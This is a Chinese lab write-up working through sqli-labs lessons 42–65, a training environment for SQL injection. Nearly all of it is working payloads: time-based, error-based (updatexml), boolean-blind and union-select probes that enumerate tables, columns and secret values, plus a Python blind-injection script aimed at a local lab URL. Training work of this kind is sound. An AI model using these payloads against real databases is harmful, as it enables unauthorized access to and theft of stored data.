当前位置: 首页 > news >正文

sql-labs:42~65

less42(单引号闭合、报错回显)

login_user=admin
login_password=123' and if(1=1,sleep(2),1) #                                # 单引号闭合
​
login_user=admin
login_password=123'and updatexml(1,concat(0x7e,database(),0x7e),1)#         # 报错回显用户名有过滤,
tips:
这里还是强调一下,时间注入测试注入点,sql语句必须有查询结果才能sleep,而且and连接的条件必须都成立才能sleep,两者缺一不可
所以输入的用户名和密码必须都正确,也就是有一个用户凭据才能有sql语句查询结果,才能sleep

less43(单引号括号闭合、报错回显)

跟less42一样
login_password=1') and updatexml(1,concat(0x7e,user(),0x7e),1)--+

less44(单引号闭合、半回显)

login_user=admin
login_password=123456' and if(1=1,sleep(2),1) # 
​
布尔注入:
login_user=admin
login_password=123456' and substr(DATABASE(),1,1)='s' # 
​
如果回显结果有slap1.jpg说明爆出来了一个字符

less45(单引号括号闭合、半回显)

跟less44一样
​
布尔注入语法:
login_user=admin
login_password=123456') and substr(database(),1,1)='s' and ('1')=('1
​
这里可以使用状态码进行半回显判断,也可以不使用slap1.jpg回显判断
如果爆出来一个字符,则返回302,如果不是则返回200

less46(order by注入手法、报错回显)

sql语法规定:order by后不能接 union select
Incorrect usage of UNION and ORDER BY
​
使用时间或报错
​
sort=1 and if(1=1,sleep(0.05),1) --+
不知道为什么这里的sleep时间突然变得好长,之前sleep相同的数值,很快就sleep完了
sort=1 and if(substr(database(),1,1)='s',sleep(0.05),1) --+
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 报错回显

less47

(46~53都是这个order by、无非就是闭合方式不一样和有报错回显的问题,有报错回显报错注入,没有就布尔盲注时间盲注,换汤不换药)
(这里没有测试布尔盲注,直接用的时间盲注)
(但是布尔盲注优先级是比时间盲注要高的,作者只测试了时间盲注是为了减小工作量,因为基本上有了sql注入,时间盲注可行性最大)
(布尔盲注搞不定了,再时间盲注)
sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
发现单引号闭合:
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 报错回显

less48

sort=1 and if(1=1,sleep(0.05),1)                                        # 无闭合
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 无报错回显
​
sort=1 and if(substr(database(),1,1)='s',sleep(0.05),1) --+             # 时间盲注

less49

sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 无报错回显
​
sort=1' and if(substr(database(),1,1)='s',sleep(0.05),1) --+            # 时间盲注

less50

sort=1 and if(1=1,sleep(0.05),1)                                        # 无闭合
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 报错回显

less51

sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 报错回显

less52

sort=1 and if(1=1,sleep(0.05),1)                                        # 无闭合
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 无报错回显
​
sort=1 and if(substr(database(),1,1)='s',sleep(1),1) --+                # 时间盲注

less53

sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)                 # 无报错回显
​
sort=1' and if(substr(database(),1,1)='s',sleep(1),1)                   # 时间盲注

less54(54到65都是这个挑战)

id=1' and if(1=1,sleep(1),1) and '1'='1                                 # 单引号闭合
​
id=0' union select 1,database(),3 --+                                   # 全回显
​
id=0' union select 1,str_foo,3 --+                                      # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='gg0e5rd6g0')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',secret_BPRX,',',tryy) from gg0e5rd6g0)
​
tips:
当你用时间注入测试sql注入点时,比如你发现用''闭合的注入语句:
id=1' and if(1=1,sleep(1),1) and '1'='1
测试成功了,先不要急,因为它还有可能是
('')闭合
((''))闭合
((('')))闭合
...
可以加无数个括号,双引号""和括号()闭合也有这个问题

less55

id=1 and if(1=1,sleep(1),1)                                 此情况也可能是(),如下例子
SELECT * FROM security.users WHERE id=(1 and if(1=1,sleep(1),1) ) LIMIT 0,1
SELECT * FROM security.users WHERE id=1 and if(1=1,sleep(1),1)LIMIT 0,1
​
id=1" and if(1=1,sleep(1),1) and "1"="1                     此情况也有可能是(""),如下例子
SELECT * FROM security.users WHERE id="1" and if(1=1,sleep(1),1) and "1"="1" LIMIT 0,1
SELECT * FROM security.users WHERE id=("1" and if(1=1,sleep(1),1) and "1"="1    ") LIMIT 0,1
​
id=1' and if(1=1,sleep(1),1) and '1'='1                     此情况也有可能是(''),如下例子
SELECT * FROM security.users WHERE id='1' and if(1=1,sleep(1),1) and '1'='1' LIMIT 0,1
SELECT * FROM security.users WHERE id=('1' and if(1=1,sleep(1),1) and '1'='1    ') LIMIT 0,1
​
和less54一样
​
id=1) and if(1=1,sleep(1),1) and (1)=(1                     # 括号闭合      
​
id=0) union select 1,str_foo,3 --+                          # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)

less56

和less54、55一样
发现('')闭合,且有回显
id=0') union select 1,database(),3 --+
id=0') uNIon sELect 1,database(),3 --+

less57

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
和less54、55、56一样
发现""闭合,且有回显
id=0" union select 1,database(),3 --+

less58(less58~less61都是报错注入,就是闭合方式的不同)

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现''闭合,但回显是误导项,回显的账号密码不是数据库里的,而是php code里的,所以有回显等于无回显
​
id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+               # 报错回显
​
id=1' and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+                  # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)

less59

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现无闭合
id=1 and if(1=1,sleep(1),1) --+
​
id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+                # 报错回显
​
id=1 and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+                   # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)

less60

跟58、59一样
​
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现("")闭合
​
id=1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 报错回显

less61

跟58、59、60一样
​
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(0.1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现((''))闭合
id=1')) and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 报错回显

less62(less62~less65都是时间注入或布尔注入)

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(0.1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现('')闭合,且无回显
id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) --+
布尔注入:
id=1') and 1=1 --+
id=1') and 1=2 --+
发现正确的数据包显示,如下字符串
Your Login name : Angelina
Your Password : dhakkan
而错误的数据包不显示,那我们提取Password作为标志字符串,用于布尔盲注的判断
id=1') and substr(database(),int_foo,1)='char_foo' and ('1')=('1
​
id=1') and if(substr(database(),1,1)='c',sleep(1),1) --+
# 直接用我们之前写的脚本:https://github.com/iamnotamaster/sql-injecterdict_para_data = {'id' : 'hack123'}vuln_para = 'id'http_type = 1url = "http://127.0.0.1/sqli-labs/Less-62/"expected_data = "Password"payload_foo1 = "1') and int_foo>str_foo and ('1')=('1"payload_foo2 = "1') and char_foo>ascii(substr(str_foo,int_foo,1)) and ('1')=('1"str_foo1 = "length(database())"str_foo2 = "database()"# 爆库名# db_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)# db_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, db_len)# 爆表名str_foo1 = "(SELECT CHAR_LENGTH(group_concat(table_name)) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"str_foo2 = "(SELECT group_concat(table_name) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"tb_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)tb_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, tb_len+1)# 爆字段str_foo1 = "(select CHAR_LENGTH(COLUMN_NAME) from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"str_foo2 = "(select COLUMN_NAME from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, colu_len+1)
​# 因为字段secret_后面的的字符串是随机的(如secret_TGFJ),我们自动化取出来赋值给code变量index = colu_result.find('secret_')code = colu_result[index + len('secret_'):index + len('secret_')+4]
​str_foo1 = "(select CHAR_LENGTH(secret_" + code + ") from "+ tb_result +")"str_foo2 = "(select secret_" + code + " from "+ tb_result +")"colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, colu_len+1)

less63

跟62一样
发现''闭合,且无回显
​
只修改62脚本中的url和payload就可以

less64

跟63、62一样
发现(())闭合,且无回显
​
只修改62脚本中的url和payload就可以

less65

跟63、62一样
发现("")闭合,且无回显
​
只修改62脚本中的url和payload就可以

相关文章:

sql-labs:42~65

less42(单引号闭合、报错回显) login_useradmin login_password123 and if(11,sleep(2),1) # # 单引号闭合 ​ login_useradmin login_password123and updatexml(1,concat(0x7e,database(),0x7e),1)# # 报错回显…...

KaTeX.js渲染数学公式

什么是KaTeX.js ? KaTeX 是一个集成速度快且功能丰富的数学公式渲染库,专为 Web 设计。它由 Khan Academy 开发,提供接近印刷品质的数学公式展示,同时保持与浏览器的高效互动性。KaTeX 特点包括快速渲染速度、高质量的输出、独立运行、跨平…...

算法训练营打卡Day19

目录 1.二叉搜索树的最近公共祖先 2.二叉树中的插入操作 3.删除二叉搜索树中的节点 题目1、二叉搜索树的最近公共祖先 力扣题目链接(opens new window) 给定一个二叉搜索树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为:“对于有…...

H.264编解码工具 - FFmpeg

一、简介 FFmpeg是一款用于处理多媒体数据的开源软件,可以完成音频、视频和多媒体流的编解码、转码、解码、录制、流媒体播放等功能。它提供了丰富的命令行工具和库函数,适用于各种平台和操作系统。 FFmpeg支持多种常见的音视频格式,包括MP3、WAV、FLAC、MP4、AVI、MKV等。它…...

60 序列到序列学习(seq2seq)_by《李沐:动手学深度学习v2》pytorch版

系列文章目录 文章目录 系列文章目录一、理论知识比喻机器翻译Seq2seq编码器-解码器细节训练衡量生成序列的好坏的BLEU(值越大越好)总结 二、代码编码器解码器损失函数训练预测预测序列的评估小结练习 一、理论知识 比喻 seq2seq就像RNN的转录工作一样,非常形象的比…...

elementPlus的tree组件点击后有白色背景

在使用elementPlus的tree组件时&#xff0c;需要对它进行样式的重写&#xff0c;下面是相关代码 <script setup> import { ref } from vue const data [{label: Level one 1,children: [{label: Level two 1-1,children: [{label: Level three 1-1-1}]}]},{label: Leve…...

【Git】Git在Unity中使用时的问题记录

个人向笔记。 &#xff08;为什么没截图&#xff0c;因为公司电脑没法截图&#xff01;&#xff09; 1 前言 主要记录在使用Git协同开发时的各种问题&#xff0c;方便以后查阅。 2 记录 2.1 合并冲突 git pull下来后直接给合并了&#xff0c;麻了。若不想直接合并应该先把分…...

python学习记录6

&#xff08;1&#xff09;循环嵌套 可以将一个循环语句所属的语句块也可以是一个完整的一个循环语句&#xff0c;一般嵌套不应该超过3层。 嵌套可以是while-while、for-for,也可以是while-for。 基本图形输出&#xff1a;正方形&#xff0c;直角三角形 #输入一个数字n&…...

MongoDB 的基本使用

目录 数据库的创建和删除 创建数据库 查看数据库 删除数据库 集合的创建和删除 显示创建 查看 删除集合 隐式创建 文档的插入和查询 单个文档的插入 insertOne insertMany 查询 嵌入式文档 查询数组 查询数组元素 为数组元素指定多个条件 通过对数组元素使…...

数据揭秘:分类与预测技术在商业洞察中的应用与实践

分类与预测&#xff1a;数据挖掘中的关键任务 在数据挖掘的广阔天地中&#xff0c;分类与预测就像是一对互补的探险家&#xff0c;它们携手深入数据的丛 林&#xff0c;揭示隐藏的宝藏。 一、分类&#xff1a;数据的归类大师 分类是一种将数据点按照特定的属性或特征划分到不…...

学MybatisPlus

1.设置MySql的数据库 spring:datasource:url: jdbc:mysql://127.0.0.1:3306/mp?useUnicodetrue&characterEncodingUTF-8&autoReconnecttrue&serverTimezoneAsia/Shanghaidriver-class-name: com.mysql.cj.jdbc.Driverusername: rootpassword: MySQL123 logging:l…...

如何使用工具删除 iPhone 上的图片背景

在 iPhone 上删除背景图像变得简单易行。感谢最近 iOS 更新中引入的新功能。如今&#xff0c;iOS 用户现在可以毫不费力地删除背景&#xff0c;而无需复杂的应用程序。在这篇文章中&#xff0c;您将学习如何使用各种方法去除 iPhone 上的背景。这可确保您可以选择最适合您偏好的…...

软件工程-数据流图

数据流图(Data Flow Diagram&#xff0c;DFD)是一种图形化技术&#xff0c;它描绘信息流和数据从输入移动到输出的过程中所经受的变换。 数据流图的设计原则 数据守恒原则&#xff0c;对于任何一个加工来说&#xff0c;其所有输出数据流中的数据必须能从该加工的输入数据流中…...

链式前向星(最通俗易懂的讲解)

链式前向新&#xff1a;用于存储图的 边集 数组 前言 当我们存储图的时候&#xff0c;往往会使用 邻接矩阵 或是 邻接表。 邻接矩阵 好写&#xff0c;但太浪费空间&#xff0c;节点一多就存不下&#xff1b; 邻接表 效率高&#xff0c;但涉及指 &#xff0c;不好写容易出错…...

【C++设计模式】(四)创建型模式:简单工厂模式,工厂方法模式,抽象工厂模式

文章目录 &#xff08;四&#xff09;创建型模式&#xff1a;简单工厂模式&#xff0c;工厂方法模式&#xff0c;抽象工厂模式简单工厂模式工厂方法模式抽象工厂模式 &#xff08;四&#xff09;创建型模式&#xff1a;简单工厂模式&#xff0c;工厂方法模式&#xff0c;抽象工…...

浅析Golang的Context

文章目录 1. 简介2. 常见用法2.1 控制goroutine的生命周期&#xff08;cancel&#xff09;2.2 传递超时&#xff08;Timeout&#xff09;信息2.3 传递截止时间&#xff08;Deadline&#xff09;2.4 传递请求范围内的全局数据 &#xff08;value&#xff09; 3 特点3.1 上下文的…...

生日礼物C++代码

#include<bits/stdc.h> using namespace std; string s; int a,b; int main(){cout<<" 生日之地"<<\n;cout<<" 1.开始游戏"<<" 2.不想开始"<<\n;cin>>a;if(a1||a2){if(a2)cout<<…...

使用python基于DeepLabv3实现对图片进行语义分割

DeepLabv3 介绍 DeepLabv3 是一种先进的语义分割模型&#xff0c;由 Google Research 团队提出。它在 DeepLab 系列模型的基础上进行了改进&#xff0c;旨在提高图像中像素级分类的准确性。以下是 DeepLabv3 的详细介绍&#xff1a; 概述DeepLabv3 是 DeepLab 系列中的第三代…...

【漏洞复现】泛微OA E-Office do_excel.php 任意文件写入漏洞

》》》产品描述《《《 泛微0-0fice是一款标准化的协同 OA办公软件&#xff0c;泛微协同办公产品系列成员之一,实行通用化产品设计&#xff0c;充分贴合企业管理需求&#xff0c;本着简洁易用、高效智能的原则&#xff0c;为企业快速打造移动化、无纸化、数字化的办公平台。 》》…...

算法(食物链)

240. 食物链 题目 动物王国中有三类动物 A,B,C&#x1d434;,&#x1d435;,&#x1d436;&#xff0c;这三类动物的食物链构成了有趣的环形。 A&#x1d434; 吃 B&#x1d435;&#xff0c;B&#x1d435; 吃 C&#x1d436;&#xff0c;C&#x1d436; 吃 A&#x1d434;。…...

【杂谈】-递归进化:人工智能的自我改进与监管挑战

递归进化&#xff1a;人工智能的自我改进与监管挑战 文章目录 递归进化&#xff1a;人工智能的自我改进与监管挑战1、自我改进型人工智能的崛起2、人工智能如何挑战人类监管&#xff1f;3、确保人工智能受控的策略4、人类在人工智能发展中的角色5、平衡自主性与控制力6、总结与…...

rknn优化教程(二)

文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK&#xff0c;开始写第二篇的内容了。这篇博客主要能写一下&#xff1a; 如何给一些三方库按照xmake方式进行封装&#xff0c;供调用如何按…...

【论文笔记】若干矿井粉尘检测算法概述

总的来说&#xff0c;传统机器学习、传统机器学习与深度学习的结合、LSTM等算法所需要的数据集来源于矿井传感器测量的粉尘浓度&#xff0c;通过建立回归模型来预测未来矿井的粉尘浓度。传统机器学习算法性能易受数据中极端值的影响。YOLO等计算机视觉算法所需要的数据集来源于…...

c#开发AI模型对话

AI模型 前面已经介绍了一般AI模型本地部署&#xff0c;直接调用现成的模型数据。这里主要讲述讲接口集成到我们自己的程序中使用方式。 微软提供了ML.NET来开发和使用AI模型&#xff0c;但是目前国内可能使用不多&#xff0c;至少实践例子很少看见。开发训练模型就不介绍了&am…...

React---day11

14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store&#xff1a; 我们在使用异步的时候理应是要使用中间件的&#xff0c;但是configureStore 已经自动集成了 redux-thunk&#xff0c;注意action里面要返回函数 import { configureS…...

DAY 26 函数专题1

函数定义与参数知识点回顾&#xff1a;1. 函数的定义2. 变量作用域&#xff1a;局部变量和全局变量3. 函数的参数类型&#xff1a;位置参数、默认参数、不定参数4. 传递参数的手段&#xff1a;关键词参数5 题目1&#xff1a;计算圆的面积 任务&#xff1a; 编写一…...

【实施指南】Android客户端HTTPS双向认证实施指南

&#x1f510; 一、所需准备材料 证书文件&#xff08;6类核心文件&#xff09; 类型 格式 作用 Android端要求 CA根证书 .crt/.pem 验证服务器/客户端证书合法性 需预置到Android信任库 服务器证书 .crt 服务器身份证明 客户端需持有以验证服务器 客户端证书 .crt 客户端身份…...

CSS3相关知识点

CSS3相关知识点 CSS3私有前缀私有前缀私有前缀存在的意义常见浏览器的私有前缀 CSS3基本语法CSS3 新增长度单位CSS3 新增颜色设置方式CSS3 新增选择器CSS3 新增盒模型相关属性box-sizing 怪异盒模型resize调整盒子大小box-shadow 盒子阴影opacity 不透明度 CSS3 新增背景属性ba…...

python打卡第47天

昨天代码中注意力热图的部分顺移至今天 知识点回顾&#xff1a; 热力图 作业&#xff1a;对比不同卷积层热图可视化的结果 def visualize_attention_map(model, test_loader, device, class_names, num_samples3):"""可视化模型的注意力热力图&#xff0c;展示模…...

工厂方法模式和抽象工厂方法模式的battle

1.案例直接上手 在这个案例里面&#xff0c;我们会实现这个普通的工厂方法&#xff0c;并且对比这个普通工厂方法和我们直接创建对象的差别在哪里&#xff0c;为什么需要一个工厂&#xff1a; 下面的这个是我们的这个案例里面涉及到的接口和对应的实现类&#xff1a; 两个发…...